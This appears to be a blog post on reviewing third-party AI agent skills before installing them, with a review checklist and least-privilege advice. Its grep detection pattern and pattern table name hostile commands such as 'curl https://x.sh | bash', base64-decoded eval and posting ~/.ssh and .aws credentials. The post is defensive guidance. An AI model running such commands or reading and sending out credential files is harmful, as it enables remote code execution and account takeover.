Installing a skill is a lot like installing software — a skill is a program someone else wrote, not just a prompt. It reads files, runs commands and accesses the network, with whatever permissions your agent has.
This post gives a five-minute review process and the most common dangerous patterns.
1. Why skills carry risk
| Part | Risk |
|---|---|
SKILL.md instructions | Can steer the agent into running commands, reading sensitive files, exfiltrating data |
scripts/ and other code | Actual code: network calls, file writes, config changes |
The more capable the agent, the bigger the blast radius of a skill.
2. Five-minute review
Step 1: look at the tree
find skill-dir -type f | head -50
scripts/,bin/,install.sh→ continue to step 2- Only
SKILL.md+README.md→ lower risk, still read the instructions
Step 2: grep for dangerous actions
grep -nE "curl|wget|bash|sh -c|sudo|chmod|rm -rf|eval|base64" SKILL.md
Step 3: read the scripts
head -40 scripts/*.sh scripts/*.py 2>/dev/null
Step 4: check the permissions it wants
- Does it need
sudo/ root? - Does it read
~/.ssh,~/.aws,.env, the keychain? - Does it use the network — and where does data go?
Step 5: decide
If any answer is unclear, don’t install.
3. Common malicious/dangerous patterns
| Pattern | Example | Why it’s dangerous |
|---|---|---|
| Remote execution | curl https://x.sh | bash | What you see may differ from what runs |
| Credential exfiltration | reading ~/.ssh/id_rsa, .aws/credentials, .env and posting them | account takeover |
| Shell config edits | writing export PATH=... into .zshrc | persistence that survives reinstalling the skill |
| Silent exfiltration | base64-encoding data and POSTing it | hard to spot by eye |
| Excessive permissions | sudo, chmod 777, disabling the firewall | one mistake becomes system-wide |
| Obfuscated execution | eval "$(base64 -d ...)" | review can’t see the behavior |
| Supply chain | cloning any repo and running its install.sh | you trust the repo, not the content |
Remember:
curl | bashis the most common entry point. If you see it, don’t install by default.
4. Least privilege
- No root / sudo — run the agent as a normal user;
- Isolate first — try it in a separate user directory or container;
- Limit network — run untrusted skills offline first;
- Read-only sensitive dirs — no write access to
~/.ssh,.aws,.env; - Keep it removable — record the file list so you can clean up.
5. Three-step verification
1. Read SKILL.md — what does it ask you to do?
2. Read scripts/ — what does the code actually do?
3. Sandbox run — offline + empty directory, watch what it writes
Only then install it into your real environment.
6. What this site does
For reference, the skill library’s rules:
- Only mirrors clearly licensed skills (MIT / Apache-2.0 / CC0); the rest are index-only;
- Each page shows script status: none / reviewed / unreviewed;
- Every zip has a SHA256 and there’s a
checksums.txt; - Licensing and takedown policy live in the license page.
Even so, you should still read it yourself — we check for obvious problems, not guarantee absolute safety.
7. In one sentence
A skill’s permissions are your agent’s permissions. Before installing, ask: if a stranger sent me this code, would I run it?
Related
Get the next essay
New essays on products, business and tech — plus what the experiment's numbers actually say.
One-page checklist
The checks above are condensed into a printable two-page PDF: skill security checklist (EN).